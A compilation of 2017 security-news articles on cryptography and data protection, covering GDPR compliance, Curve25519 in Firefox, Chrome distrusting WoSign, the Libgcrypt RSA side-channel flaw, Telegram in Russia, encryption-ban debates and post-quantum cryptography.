The emphasis on data protection has changed: it is traditionally designed to protect data from criminals; but this regulation is designed to protect data for the user. It is a subtle change with huge ramifications, because now users are in charge of their own personal information. They must explicitly agree to the collection of data for a specific purpose; and they can withdraw consent and require companies to delete that data.

RSA LogoThis simple change means that data governance is now front and center, side-by-side with data security. Organizations will need to be able to prove user agreement to the collection of personal data; and must be able to demonstrate deletion of that data after demand. This also means that organizations must be aware of the location of all personal data at all times.

"GDPR is not just about technology," Rashmi Knowles, RSA Field CTO EMEA told SecurityWeek. "I think the bigger part of GDPR is to do with process, and the process burden is going to be huge. One of the big new things is the whole personal data lifecycle -- from getting consent and proving user consent, to processing user data and then deleting that data after processing it solely for the purpose for which it was collected; and being able to delete it at any time on the users' request. Although some organizations already do that, a lot of companies don't do it very well, and don't have the evidence to prove they are doing it. GDPR is very much evidence based."

There is another major change. Sanctions for non-compliance have been dramatically increased. While large corporations could simply accept the minimal fines from the existing Directive-based European laws as part of acceptable risk tolerance; under the Regulation fines are now geared, potentially, to seriously affect the bottom-line of non-compliant companies for many years. The regulators are taking GDPR very seriously, and they expect organizations to do the same. There is the implication that these regulators will not back away from imposing very heavy fines for the worst cases of non-compliance.

It is against the background of GDPR being as much about data governance as it is about information security that RSA has today beefed up its Archer governance suite specifically to aid compliance with the governance side -- and more -- of GDPR. "Ultimately," it says in a statement released today, "GDPR is not just a Governance, Risk and Compliance (GRC) issue. GDPR spans the full enterprise and forces companies to adopt a healthier privacy and security risk posture in four critical areas: Risk Assessment, Breach Readiness, Data Governance, and Compliance Management."

It is in these four areas that Archer, combined with RSA NetWitness and the RSA Data Risk and Security Practice can aid GDPR compliance. On risk assessment, RSA suggests that Archer's components will help accelerate the identification of the linkage between risks and internal controls, potentially reduce the GDPR compliance gaps and improve risk mitigation strategies.

On breach response, GDPR requires that regulators are notified of a breach generally within 72 hours of the company becoming aware of the breach. Here, RSA says its NetWitness product will scan the entire network infrastructure looking for indications of a compromise. It uses, explains RSA, "behavioral analysis and machine learning to help better understand the scope and nature of a breach with improved visibility into the attack sequence, enabling faster notification."

RSA offers its SecurID suite and Data Risk and Security Practice service to cover the mainstream governance side of GDPR. Compliance is no longer a destination, but a continuing state, it suggests. While under earlier European laws, companies needed only worry about compliance if they were breached, with GDPR they can be found non-compliant in data governance areas at any time. This suite of services helps an organization optimize a GRC program; put in place the processes to enable a prompt response to cyber incidents; prepare to meet the new 72-hour notification requirements; and plan and implement GDPR-compliant data access programs.

"Organizations will "see quicker reaction to emerging issues, create a more proactive and resilient environment, and reduce the churn in driving accountability towards GDPR compliance," says RSA.

But while GDPR may be more about process and evidence, the technology side cannot be ignored. The term 'breach' is given a wider than usual scope under GDPR. "A breach in GDPR could be lack of availability," Knowles told SecurityWeek; "so a successful DDoS -- which may not usually be classed as a breach -- could be classed as a breach in GDPR terms if users lose access to their data."

In this sense, being struck by something like ransomware would prove a double-whammy. Firstly the victim gets all the disruption and cost of the ransomware, but secondly it is potentially and automatically in breach of GDPR. "If you can show that you are doing the right things, that you have the right controls in place," says Knowles, "then the regulators are more likely to be lenient from the GDPR perspective. But on the other hand, if the ransomware could have been stopped had you applied the correct patches, the regulator might not be so lenient."

GDPR compliance is a complex mix of security technology to protect the data, tied together with governance processes to manage the personal data lifecycle, backed up by the availability of continuous evidence to prove that you are doing the right things at all times.


Mozilla Implements Faster Diffie-Hellman Function in Firefox

15.9.2017 securityweek Krypto
Mozilla on this week revealed plans to introduce a new key establishment algorithm in Firefox to improve both security and performance of the web browser.

Called Curve25519, and designed by Daniel Julius Bernstein, the algorithm is a high-security elliptic-curve-Diffie-Hellman function deemed suitable for a wide variety of cryptographic applications. The public key cryptography can achieve record-setting speeds, while also offering free key compression, free key validation, and state-of-the-art timing-attack protection, Bernstein explains (PDF).

Widely used for key-exchange in TLS, Curve25519 was recently standardized by the Internet Engineering Task Force (IETF). Mozilla has already implemented the algorithm in the latest Firefox Nightly, and expects Firefox 57, set to be released in November, to bring the feature to all users, Benjamin Beurdouche, Mozillian INRIA Paris - Prosecco team, reveals.

The implementation of Curve25519 into Firefox is the result of a collaboration with INRIA (French Institute for Research in Computer Science and Automation) and Project Everest (Microsoft Research, Carnegie Mellon University, INRIA).

As a result of the partnership, Mozilla aims to have the first major web browser to have formally verified cryptographic primitives.

In addition to being formally verified, the HACL Curve25519 implementation is also expected to deliver a 20% performance increase on 64-bit platforms when compared to existing NSS implementation (19500 scalar multiplications per second instead of 15100).

The enhancement, the Internet organization points out, is expected to improve the overall security of Firefox and its users, given that the key exchange algorithm has been already verified.

“Even innocuous looking bugs in cryptographic primitives can break the security properties of the overall system and threaten user security. Fortunately, recent advances in formal verification allow us to significantly improve the situation by building high assurance implementations of cryptographic algorithms,” Beurdouche says.

The organization also plans on implementing other HACL algorithms into NSS, and expects to be able to do so over the next months.


Experimental Mozilla Send service allows users share encrypted copy of huge files
7.8.2017 securityaffairs Krypto

Mozilla Send service allows users to make an encrypted copy of a local file, store it on a remote server, and share it with a single recipient.
Mozilla has presented Send, an experimental service that allows users to make an encrypted copy of a local file, store it on a remote server, and share it with a single recipient. The service allows to easily share large files in a secure way.

Once the copy has been shared, the data will be deleted from the server.

mozilla send service

The Send service is offered through Mozilla’s Test Pilot program for previewing new features developed for the Firefox browser.

The Send service was developed on Node.js backed by a Redis database running on Amazon Web Services. It relies on the Web Cryptography JavaScript API with the AES-GCM algorithm for client side encryption. Using the Send service is very simple, upon selecting a local file, the Mozilla application encrypts it client-side and uploads it to AWS.

Then the user will receive an URL generated by the Mozilla Send service that contains the encryption key, this link can be shared with the recipient of the file.

“Each link created by Send will expire after one download or 24 hours, and all sent files will be automatically deleted from the Send server,” reads a blog post published by Mozilla.

Of course, the first thought is for privacy issues, but Mozilla clarified that it would not be able to unlock a stored file, even upon receipt of a lawful warrant.

Giving a look at the generated URL it is possible to note that a portion of the link after the character ‘#’ contains the generated key that is not sent to the Mozilla server.

Experts argue that anyway AWS is able to recover a file, for example, upon receipt of a lawful warrant it could be forced to retain them. The Send service sends the file name and other data in plain text.

The keys generated by the Mozilla Send service might be recoverable from the messaging service used to share it or from log files.

Send service is an ongoing experimental project, Mozilla is updating it continuously, if you are curious you can access the GitHub repository and look at the open issues.


Facebook COO Sheryl Sandberg on Crypto weakening: Crypto War 2.0
4.8.2017 securityaffairs Krypto

Sheryl Sandberg on crypto weakening. The new Crypto war being started where government agencies are wanting a reduction in encryption strengths.
DISCLAIMER: All views and facts explained in this article are the views of the author and does not in anyway related to the views of organization where the individual is employed. The article is an observation based on self-researched facts and is in no way written to offend any parties.

“The goal for governments is to get as much information as possible.” (Sheryl Sandberg)

One of the oldest encryption known to man was the Caesar cipher, also known as a shift cipher. Mostly used by Julius Caesar to send messages which he didn’t want to be understood by his enemies. Shift to today and encryption are an important part of your digital day-to-day life. Consider anyone who sends a WhatsApp message or browsing securely, encryption protects your security and importantly your privacy. But with the new Crypto war being started where government agencies are wanting a reduction in encryption strengths so that they can break into our digital day-to-day life is on. Quite the “Et tu Brute” moment for us, the users.

The idea is well iterated by Facebook COO Sheryl Sandberg where she says, “The goal for governments is to get as much information as possible. And so when there are message services like WhatsApp that are encrypted, the message itself is encrypted but the metadata is not, meaning that you send me a message, we don’t know what that message says but we know you contacted me,”. You quite clearly can understand her to stand in the matter where the governments are already being provided meta data (pretty much a road map of your activities) but now the new policies could make the use of the applications quite invasive.

The Crypto War ideally started in the 1990s when they did a bad promotion with the “Clipper Chip“, could not withstand the distribution PGP crypto system, reduce the strength of SSL encryption used in our browsing or the latest Apple iPhone unlock push.

Taking a queue from “Big Brother”, the other 2 members of the Five Eyes (FVEY) – UK and Australia, moved fast to herd their own legislative sheep. The Five Eyes of Surveillance – the USA, the UK, Canada, New Zealand and Australia, have a joint cooperation in sharing military, human and signals intelligence. The UK’s Snoopers’ Charter (The Investigatory Powers Act 2016) passed on 29 November 2016 was a step in the direction to have in-built backdoors to encrypted systems, for Government and Intelligence agencies to investigate.

The Australian Prime Minister has already stated that the UK’s law is a great model law and could hint at their own version very soon.

crypto Sheryl Sandberg

Sheryl Sanberg

“weakening of encryption would make lesser data available to Governments than more”

Sheryl Sandberg further makes it clear that weakening of encryption would make lesser data available to Governments than more, as in time people would use offshore alternatives.

This directly impacts Data Sovereignty , which was on the side of the Government. Tech giants like Google, Facebook and Apple have all spoken about how privacy and security is an offering of encryption but have faced challenges from Government agencies to about its use in terrorism and crime. Both ends of the debate hold up with no clear indication of a middle ground being reached anytime soon.

With Sentiment analysis and other processing tools in the age of Big Data, much of hate speech, terrorism and radical content and the other distasteful media are being slowly worked towards to be curbed and mitigated. Moves like these are counter intuitive to Intelligence as well because having too much information sometimes doesn’t mean you have complete intelligence. It is how fast you process this intel and can take action on it that counts.

One good thing does get underlined in the interview though. With all the fear of automation in the industry, a human touch is still required for intel generation.


Google Chrome Bans Chinese SSL Certificate Authorities WoSign and StartCom
8.7.2017 thehackernews  Krypto

As a punishment announced last October, Google will no longer trust SSL/TLS certificate authorities WoSign and its subsidiary StartCom with the launch of Chrome 61 for not maintaining the "high standards expected of CAs."
The move came after Google was notified by GitHub's security team on August 17, 2016, that Chinese Certificate Authority WoSign had issued a base certificate for one of GitHub's domains to an unnamed GitHub user without authorization.
After this issue had been reported, Google conducted an investigation in public as a collaboration with Mozilla and the security community, which uncovered several other cases of WoSign misissuance of certificates.
As a result, the tech giant last year began limiting its trust of certificates backed by WoSign and StartCom to those issued before October 21st, 2016 and has been removing whitelisted hostnames over the course of several Chrome releases since Chrome 56.
Now, in a Google Groups post published on Thursday, Chrome security engineer Devon O'Brien said the company would finally remove the whitelist from its upcoming release of Chrome, completely distrusting the existing WoSign and StartCom certificates.
"Beginning with Chrome 61, the whitelist will be removed, resulting in full distrust of the existing WoSign and [its subsidiary] StartCom root certificates and all certificates they have issued," says O'Brien.
"Based on the Chromium Development Calendar, this change should be visible in the Chrome Dev channel in the coming weeks, the Chrome Beta channel around late July 2017, and will be released to Stable around mid-September 2017."
Last year, Apple and Mozilla also stopped trusting WoSign, and StartCom issued certificates for their web browsers due to their number of technical and management failures.
"Most seriously, we discovered they were backdating SSL certificates to get around the deadline that CAs stop issuing SHA-1 SSL certificates by January 1, 2016," Kathleen Wilson, the head of Mozilla's trusted root program, said.
"Additionally, Mozilla discovered that WoSign had acquired full ownership of another CA called StartCom and failed to disclose this, as required by Mozilla policy."
The problems with WoSign certificate service dated back to July 2015 and publicly disclosed last year by British Mozilla programmer Gervase Markham on Mozilla's security policy mailing list.
According to Markham, an unnamed researcher accidentally found this security blunder when trying to get a certificate for 'med.ucf.edu' but also applied for 'www.ucf.edu' and WoSign approved it, giving the certificate for the university's primary domain.
For testing purpose, the security researcher then used this trick against Github base domains (github.com and github.io), by proving his control over a sub-domain.
And guess what? WoSign handed over the certificate for GitHub main domains, as well.
Starting from September 2017, visitors to sites using WoSign or StartCom HTTPS certificates would eventually see trust warnings in their web browsers.
So, websites that are still relying on certificates issued by WoSign or StartCom are advised to consider replacing their certificates "as a matter of urgency to minimize disruption for Chrome users," O'Brien said.
Google Chrome Bans Chinese SSL Certificate Authorities WoSign and StartCom Friday, July 07, 2017 Mohit Kumar 0 0 0 New As a punishment announced last October, Google will no longer trust SSL/TLS certificate authorities WoSign and its subsidiary StartCom with the launch of Chrome 61 for not maintaining the "high standards expected of CAs." The move came after Google was notified by GitHub's security team on August 17, 2016, that Chinese Certificate Authority WoSign had issued a base certificate for one of GitHub's domains to an unnamed GitHub user without authorization. After this issue had been reported, Google conducted an investigation in public as a collaboration with Mozilla and the security community, which uncovered several other cases of WoSign misissuance of certificates. As a result, the tech giant last year began limiting its trust of certificates backed by WoSign and StartCom to those issued before October 21st, 2016 and has been removing whitelisted hostnames over the course of several Chrome releases since Chrome 56. Now, in a Google Groups post published on Thursday, Chrome security engineer Devon O'Brien said the company would finally remove the whitelist from its upcoming release of Chrome, completely distrusting the existing WoSign and StartCom certificates. "Beginning with Chrome 61, the whitelist will be removed, resulting in full distrust of the existing WoSign and [its subsidiary] StartCom root certificates and all certificates they have issued," says O'Brien. "Based on the Chromium Development Calendar, this change should be visible in the Chrome Dev channel in the coming weeks, the Chrome Beta channel around late July 2017, and will be released to Stable around mid-September 2017." Last year, Apple and Mozilla also stopped trusting WoSign, and StartCom issued certificates for their web browsers due to their number of technical and management failures. "Most seriously, we discovered they were backdating SSL certificates to get around the deadline that CAs stop issuing SHA-1 SSL certificates by January 1, 2016," Kathleen Wilson, the head of Mozilla's trusted root program, said. "Additionally, Mozilla discovered that WoSign had acquired full ownership of another CA called StartCom and failed to disclose this, as required by Mozilla policy." The problems with WoSign certificate service dated back to July 2015 and publicly disclosed last year by British Mozilla programmer Gervase Markham on Mozilla's security policy mailing list. According to Markham, an unnamed researcher accidentally found this security blunder when trying to get a certificate for 'med.ucf.edu' but also applied for 'www.ucf.edu' and WoSign approved it, giving the certificate for the university's primary domain. For testing purpose, the security researcher then used this trick against Github base domains (github.com and github.io), by proving his control over a sub-domain. And guess what? WoSign handed over the certificate for GitHub main domains, as well. Starting from September 2017, visitors to sites using WoSign or StartCom HTTPS certificates would eventually see trust warnings in their web browsers. So, websites that are still relying on certificates issued by WoSign or StartCom are advised to consider replacing their certificates "as a matter of urgency to minimize disruption for Chrome users," O'Brien said.


Side-Channel Attack on Libgcrypt Allows RSA Key Recovery

5.7.2017 securityweek  Krypto

The developers of Libgcrypt, the cryptographic library used by the GNU Privacy Guard (GnuPG) implementation of the OpenPGP standard, released an update last week to prevent side-channel attacks that allow the recovery of RSA private keys.

The attack method was identified recently by a team of researchers from various universities in Australia, the Netherlands and the United States.

They showed that the use of the sliding windows method for exponentiation leads to the leakage of exponent bits. It’s widely believed that the number of leaked bits is not enough to fully recover an RSA key, but the experts have demonstrated that extraction of RSA-1024 keys is possible, and even RSA-2048 keys in 13 percent of cases.

The research targeted Libgcrypt version 1.7.6 and the attack was conducted on an HP-Elite 8300 computer, with a 4-core Intel i5-3470 processor and 8GB of DDR3-1600 memory.

The developers of Libgcrypt have been notified of the vulnerability, tracked as CVE-2017-7526. They addressed the issue, which they described as a local side-channel attack, with the release of version 1.7.8.

Libgcrypt maintainers pointed out that this attack method requires running malicious software on the machine storing the targeted private RSA key. If this type of access is obtained, there are easier ways to recover the key than to launch such a side-channel attack.

“Allowing execute access to a box with private keys should be considered as a game over condition, anyway,” Libgcrypt developers said in an advisory. “However, on boxes with virtual machines this attack may be used by one VM to steal private keys from another VM.”

The developers of the Debian and Ubuntu Linux distributions have also released updates to address the vulnerability.

Technical details on this attack method can be found in the paper titled “Sliding right into disaster: Left-to-right sliding windows leak,” published on the website of the International Association for Cryptologic Research (IACR).


Security researchers Crack 1024-bit RSA Encryption in GnuPG Crypto Library
4.7.2017 securityaffairs Krypto

Experts have devised a side-channel attack on RSA secret keys that allowed to crack 1024-bit RSA Encryption in GnuPG Crypto Library.
Security researchers have found a critical vulnerability, tracked as CVE-2017-7526, in a Gnu Privacy Guard (aka (GnuPG or GPG) cryptographic library that allowed them cracking RSA-1024 and extract the RSA key to decrypt data.

The research team was composed of experts from several universities, including Technical University of Eindhoven, the University of Illinois, the University of Pennsylvania, the University of Maryland, and the University of Adelaide.
GnuPG is popular open source encryption software currently used by many operating systems, including Linux, Windows, and macOS X.

The vulnerability resides in the Libgcrypt cryptographic library used by GnuPG, that opens to local FLUSH+RELOAD side-channel attack on RSA secret keys dubbed “Sliding right into disaster”

The expert discovered that the “left-to-right sliding window” method used by the libgcrypt library leaks significantly more information about exponent bits than for right-to-left, allowing RSA key recovery.

“It is widely believed that, even if the complete pattern of squarings and multiplications is observed through a side-channel attack, the number of exponent bits leaked is not sufficient to carry out a full key-recovery attack against RSA. Specifically, 4-bit sliding windows leak only 40% of the bits, and 5-bit sliding windows leak only 33% of the bits.” states the research paper.
“In this paper, we demonstrate a complete break of RSA-1024 as implemented in Libgcrypt. Our attack makes essential use of the fact that Libgcrypt uses the left-to-right method for computing the sliding-window expansion,”
“The pattern of squarings and multiplications in left-to-right sliding windows leaks significantly more information about the exponent than right-to-left. We show how to extend the Heninger-Shacham algorithm for partial key reconstruction to make use of this information and obtain a very efficient full key recovery for RSA-1024.”

In the L3 Cache Side-Channel Attack scenario, hackers run arbitrary software on the hardware handling the private RSA key.
The analysis of the pattern of memory utilization or the electromagnetic outputs emitted during the decryption process could allow the attacker to extract the encryption key from a system.

“Note that this side-channel attack requires that the attacker can run arbitrary software on the hardware where the private RSA key is used. Allowing execute access to a box with private keys should be considered as a game over condition, anyway.” reads the Libgcrypt advisory .

“Thus in practice, there are easier ways to access the private keys than to mount this side-channel attack. However, on boxes with virtual machines, this attack may be used by one VM to steal private keys from another VM.”
According to the experts, the side channel attack also works against RSA-2048, the attack
is efficient for 13% of keys.

“Scaling up to RSA-2048 does not stop our attack: we show that 13% of all RSA-2048 keys with CRT and w = 5 are vulnerable to our method after a search through 2000000 candidates” continues the paper.

The GnuPG Project released the Libgcrypt version 1.7.8. to fix the local side-channel attack.to fix the local side-channel attack.

Libgcrypt has released a fix for the issue in Libgcrypt version 1.7.8. Debian and Ubuntu already updated their library with the latest version of Libgcrypt.


Researchers Crack 1024-bit RSA Encryption in GnuPG Crypto Library
4.7.2017 thehackernews Krypto

Security boffins have discovered a critical vulnerability in a GnuPG cryptographic library that allowed the researchers to completely break RSA-1024 and successfully extract the secret RSA key to decrypt data.
Gnu Privacy Guard (GnuPG or GPG) is popular open source encryption software used by many operating systems from Linux and FreeBSD to Windows and macOS X.
It's the same software used by the former NSA contractor and whistleblower Edward Snowden to keep his communication secure from law enforcement.
The vulnerability, labeled CVE-2017-7526, resides in the Libgcrypt cryptographic library used by GnuPG, which is prone to local FLUSH+RELOAD side-channel attack.
A team of researchers — from Technical University of Eindhoven, the University of Illinois, the University of Pennsylvania, the University of Maryland, and the University of Adelaide — found that the "left-to-right sliding window" method used by the libgcrypt library for carrying out the mathematics of cryptography leaks significantly more information about exponent bits than for right-to-left, allowing full RSA key recovery.
"In this paper, we demonstrate a complete break of RSA-1024 as implemented in Libgcrypt. Our attack makes essential use of the fact that Libgcrypt uses the left-to-right method for computing the sliding-window expansion," the researchers wrote in the research paper.
"The pattern of squarings and multiplications in left-to-right sliding windows leaks significantly more information about the exponent than right-to-left. We show how to extend the Heninger-Shacham algorithm for partial key reconstruction to make use of this information and obtain a very efficient full key recovery for RSA-1024."
L3 Cache Side-Channel Attack requires an attacker to run arbitrary software on the hardware where the private RSA key is used.
The attack allows an attacker to extract the secret crypto key from a system by analyzing the pattern of memory utilization or the electromagnetic outputs of the device that are emitted during the decryption process.
"Thus in practice, there are easier ways to access the private keys than to mount this side-channel attack. However, on boxes with virtual machines, this attack may be used by one VM to steal private keys from another VM," Libgcrypt advisory reads.
Researchers have also provided evidence that the same side channel attack also works against RSA-2048, which require moderately more computation than RSA-1024.
The research paper titled, 'Sliding right into disaster: Left-to-right sliding windows leak,' was authored by David J. Bernstein, Joachim Breitner, Daniel Genkin, Leon Groot Bruinderink, Nadia Heninger, Christine van Vredendaal, Tanja Lange and Yuval Yarom.
Libgcrypt has released a fix for the issue in Libgcrypt version 1.7.8. Debian and Ubuntu have already updated their library with the latest version of Libgcrypt.
So, you are strongly advised to check if your Linux distribution is running the latest version of the Libgcrypt library.


Telegram Agrees to Register With Russia to Avoid Ban, But Won't Share User Data
29.6.2017 thehackernews Krypto
After being threatened with a ban in Russia, end-to-end encrypted Telegram messaging app has finally agreed to register with new Russian Data Protection Laws, but its founder has assured that the company will not comply to share users' confidential data at any cost.
Russia's communications watchdog Roskomnadzor had recently threatened to block Telegram if the service did not hand over information required to put the app on an official government list of information distributors.
The Russian government requirement came following terrorists' suicide bombings that killed 15 people in Saint Petersburg in April in which terrorists allegedly used the Telegram's app to communicate and plot attacks.
"There is one demand, and it is simple: to fill in a form with information on the company that controls Telegram," said Alexander Zharov, head of Roskomnadzor.
"And to officially send it to Roskomnadzor to include this data in the registry of organizers of dissemination of information. In case of refusal… Telegram shall be blocked in Russia until we receive the needed information."
Telegram CEO Pavel Durov refused to comply with the country's requirements because he feared that it would weaken the privacy of its over 6 Million Russian users.
Telegram: No Confidential Data of Users will be Shared
However, after facing pressure from the government, Durov agreed on Wednesday to store Russian citizens' information on the country's servers.
The Russian Federal Service for Supervision Of Communications, Information Technology and Mass Media (Roskomnadzor) announced on Wednesday that Telegram had finally presented all the requirements.
Roskomnadzor is a federal executive body in Russia responsible for overseeing the media, including the electronic media, mass communications, information technology and telecommunications; organizing the work of the radio-frequency service; and overseeing compliance with the law protecting the confidentiality of its users' personal data.
Durov announced his decision via VK.com, the Russian version of Facebook, adding that while he's happy for Telegram to be formally registered in Russia, anything that violates users' privacy will not be served — only basic information about the company will be shared.
"We will not comply with unconstitutional and technically impossible Yarovaya Package laws—as well as with other laws incompatible with the protection of privacy and Telegram's privacy policy," Durov said.
Telegram is an end-to-end encrypted messaging app, but unlike WhatsApp, Telegram does not offer the end-to-end messaging feature to its users by default. Rather users need to open encrypted chats to communicate securely.
How to Communicate Securely with Telegram
If you are communicating with people on Telegram thinking that your chats are end-to-end encrypted, you are mistaken, because all your chats will be stored in plain text on Russian servers, making it possible for the government to request it with court orders, when required.
So, always make sure that you communicate with people on Telegram using its encrypted chat feature. Here's how to start an end-to-end encrypted chat on Telegram:
Open Telegram app
Select the contact you want to communicate
Click on his/her name
Select 'Start Secret Chat' (highlighted in green color)
A new, secure chat window will open, where you can communicate securely.
You can also enable other security features offered by Telegram.
These features include Two-Step Verification that allows you to set up an additional passcode for your Telegram account, which is also required to log into your account and Self-Destruct Secret Chats that lets you self-destruct your messages after a specified time (between 1 second and 1 week), leaving no trace on Telegram servers.


The Dark Art of Encryption
28.6.2017 securityaffairs Krypto

The current crisis of encryption is in part due to a lack of intelligence. The governments of the UK and Australia are talking about bans, regulations, requirements and other legal structures to address the perceived problem of “going dark”.
The problem, inside the nutshells that are the May and Turnbull governments, is that encryption allows [evil-doer name fill in the blank here] to communicate where the legal authorities cannot monitor them. Thus, due to the lack of intelligence, the May and Turnbull governments propose to find some way to regulate encryption.

When I mention lack of “intelligence” I am not making reference to the collection of information of military or political value. I am using intelligence in the traditional form of the ability to acquire and apply knowledge. To those who have been placed, elected or seized power, understanding the technology is less important than trying to wrestle with its consequences.

Thus, for arguments sake, I will try to keep this simple for the simple minded leadership. If the value 1 represents your message and the value 4 represents the secret code key then 1 plus 4 will give you the coded message 5. To decode the secret message simply apply the reverse by subtracting the secret code key 4 from the secret message 5 and you obtain the original message 1. As shown below:

SIMPLE ENCRYPTION

1 = message
4 = code key
1 + 4 = 5 coded message
5 – 4 = 1 decoded message

The question for the political and ruling caste is – exactly how are you going to regulate that?

The obvious answer is you can’t. Thus, the dilemma the ruling elite have found. In order to stop the [evil-doer name fill in the blank here] from using encryption you must ban math and pray the bad guys have not already graduated from elementary school.

It would seem that to ban encryption is a futile effort. However, that does not seem to stop the clueless political caste from trying. It is almost like Galileo fighting the Pope. Yes, I understand the church is all powerful and can cut my head off but that still doesn’t stop the Earth from revolving around the sun.

Thus, the ruling caste has focused their bans toward the so-called providers such as WhatsApp, Telegram, Signal and others. The problem with this selected approach is that all you do is stop the general public from having the advantages of encryption while the evil-doers will simply cook up their own, something that ISIS and Al Qaeda have already done.

What does the May and Turnbull governments get out of this fruitless endeavor? Not much other than use the boogie man “technology” as a way of scooping up some of the ignorant voters into thinking they are safe… until the next attack. Simply put, they are playing on the technophobia of the public which is often mirrored in their own technophobia at failing to understand what can be explained with a first grade math problem.

In fact, even the more totalitarian minded regimes in Moscow and Beijing are rapidly growing frustrated at their inability to regulate math. It would seem that the general public in all nations are better served if the master wasn’t always clued in on everything being said behind their backs. So far the only government on Earth which seems capable to addressing the problem is North Korea where all users are registered and all computers are closely monitored.

Therein lies part two of the problem of encryption. The academic and information security communities have long kept the encryption magic in a special box away from the public. It is this form of wizard artful dodging that has created the clueless elite and even more clueless users.

Many in both technical communities act like elite snobs of their own caste, refusing to use any encryption that has not been “verified” by open source code. This is ironic since they demand the encryption code to be open and free for all to use (steal) while the computer operating systems code they are designed to run on remains proprietary and a very closely guarded secret. It is similar to demanding to know the exact molecular makeup of the ketchup for your 12 course dinner which is being prepared by a secret team of chefs using secret ingredients and classified cooking methods.

The other part revolves around the geek fad syndrome of wizards. The latest fancy of super-duper code systems has often resulted in getting people burned. The community went gaga over the Dual Elliptical Curve encryption security and even allowed the US government to turn it into a standard, little knowing that the NSA had already broken the coding system. Thus, the fad syndrome laid the foundation for a whole generation of obsolete and vulnerable hardware and software.

All this brings us back to the heart of the 12 course meal – your computer operating system. The source code to your operating system, with few exceptions, is not available and for all practical purposes remains a black-box. This box has been hacked twelve times over since last Sunday. Many of the hacks are done by the very same “intelligence” agencies now demanding the easy – but useless – solution of banning encryption.

Unfortunately, these boxes are now hooking up to all sorts of things like airplanes, the power grid, water plants, sewage facilities, the stock markets, cars and even the lowly toaster. They also hook up to things like nuclear power plants and major weapon systems like missiles, bombers, and aircraft carriers. The recent CIA hacks put on for display by Wikileaks are a clear demonstration that the digital world we have built is only as safe as the boxes and their security systems.

The only chance we have is to encrypt as much as possible or we are doomed. The only way to survive in the future may be to go dark.

“A dark world where nuclear power plants can’t be hacked is safer than a bright world in which they can,” Bruce Schneier.


Quantum Computing's Threat to Public-key Cryptosystems

19.6.2017 securityweek Krypto
Quantum cryptography and Encryption Challenges

The Quantum Cryptography Problem

Fittingly, while we do know a little about 'what', we actually know little about 'where' (in time) we will get commercially viable quantum computers. The 'what' includes massively increased computational power. The 'when' is thought to be some time within the next 15 to 30 years.

When these two features are combined, we get the quantum cryptography problem: what are we going to do with current public-key encryption? Last year, scientists from Google and NASA suggested that D-Wave quantum technology could provide computing 100 million times faster than current conventional technology. This sort of power will 'break' current public-key cryptosystems.

As long ago as 1994, Peter Shor developed a quantum algorithm to factor large prime numbers. It was not considered an urgent problem at the time, given the lack of quantum computers. Today, however, quantum computing is much closer. If it becomes commercially viable within the next 15 years, then cryptography already has a problem -- the world's data currently protected by algorithms such as RSA, the world's most popular public-key cryptosystem, will become readable. If it takes nearer thirty years, then there is potentially time to solve the problem.

The problem arises from the length of time it takes to develop and test new cryptography, and then to re-tool existing infrastructures with the new quantum-resistant algorithms. The solution is for security to develop 'quantum-safe' public-key cryptography as soon as possible. It is not thought so pressing for symmetric crypto systems -- that problem can probably be solved by using larger keys for symmetric algorithms such as AES and Triple DES, and by using longer output from hash functions.

Last year NIST announced a new competition (PDF) to develop quantum-resistant public-key cryptography. It called for proposals in the Fall of 2016, with a deadline of November 30, 2017. It expects a 3-5-years analysis phase, with draft standards after a further two years. It announced that it would start to accept submissions on December 15, 2016.

One potential candidate was described by academics in France and Singapore on May 30, 2017 in a paper titled 'A New Public-Key Cryptosystem via Mersenne Numbers' (PDF). Mersenne numbers have long captured the imagination of mathematicians seeking an improvement to current public-key systems -- but not universally.

In 2009, Nathaniel Johnston, assistant professor at Mount Allison University, Canada, wrote, "Like all good myths, the Mersenne prime cryptography myth is so widespread because it is so close to being true." But the early interest in Mersenne numbers was that they could simply replace prime numbers with much larger prime numbers. This, according to Johnston, is the fallacy.

The new paper is different. "My comment was aimed at the idea that Mersenne primes can be used in RSA encryption (the 'standard' encryption scheme based on prime numbers), which is very false. However, [this paper] is about an entirely new encryption scheme that is built specifically around Mersenne numbers and Mersenne primes (and doesn't work with other primes). I have no reason to believe that there's any problem with this new scheme or its use of Mersenne numbers/primes."

The proposed new cryptosystem, says the paper, "is based on arithmetic modulo so called Mersenne numbers, i.e., numbers of the form p = 2^n - 1, where n is a prime." It does not necessarily require that n is a Mersenne prime, but prefers it. There is a known partial attack when n is not prime, but the paper adds, "we are not aware of any attacks even if p = 2^n - 1 for any large enough prime n. If we are willing to relax this requirement, then we can choose other values of n to get the desired security."

The paper describes theoretical attacks against its proposal, including lattice-based attacks, meet-in-the-middle attacks, and guess and win attacks. In general, it finds the theory stands up well; but less so for active attacks that ask for the decryption of incorrectly formed ciphertext and use the answers to recover information about the key. The authors' solution is to include "a transformation specifically designed for our bit-by-bit encryption."

"In this paper," the authors conclude, "we propose a simple new public-key encryption scheme. As with other public-key cryptosystems, the security of our cryptosystem relies on unproven assumptions... we mentioned some unsuccessful attempts we made at trying to break this scheme, and this led us to conjecture the security guarantee of our scheme." To verify their own conclusions, the authors urge other cryptographers "to try and find attacks on our scheme"; either conventional or quantum.

It may be that the results of any such feed-back will determine whether the authors will specifically submit their proposal to the NIST quantum-resistant competition before the November deadline. SecurityWeek has reached out to the authors to see if this is the plan, and will update this article with any response it receives. What is clear, however, is the increasingly urgent search for quantum-safe public-key cryptography is now in full swing.


The Google E2EMail is now fully community-driven open source project
2.3.2017 securityaffairs Krypto

Google has now announced that E2EMail is no more a Google product, instead, it has become a “fully community-driven open source project.”
The End-to-End crypto library is a core component of several projects of the IT giant such as the E2EMail, a Chrome app that runs independent of the normal Gmail web interface and allows non-technical users to exchange encrypted text mail over Gmail.

In the past, Google shared the E2EMail source code in order to receive the contributions from several security communities. Now Google has now announced that the same project is no more a Google product, instead, it has become a “fully community-driven open source project.”

The decision is probably motivated by the consideration that no one since now has developed a Chrome extension for E2EMail.

“E2EMail is not a Google product, it’s now a fully community-driven open source project, to which passionate security engineers from across the industry have already contributed.” reads the blog post published by Google.

E2EMail

“E2EMail offers one approach to integrating OpenPGP into Gmail via a Chrome Extension, with improved usability, and while carefully keeping all cleartext of the message body exclusively on the client. E2EMail is built on a proven, open source Javascript crypto library developed at Google.”

Google is looking forward to receive the support of the security community to integrate E2EMail with other projects.

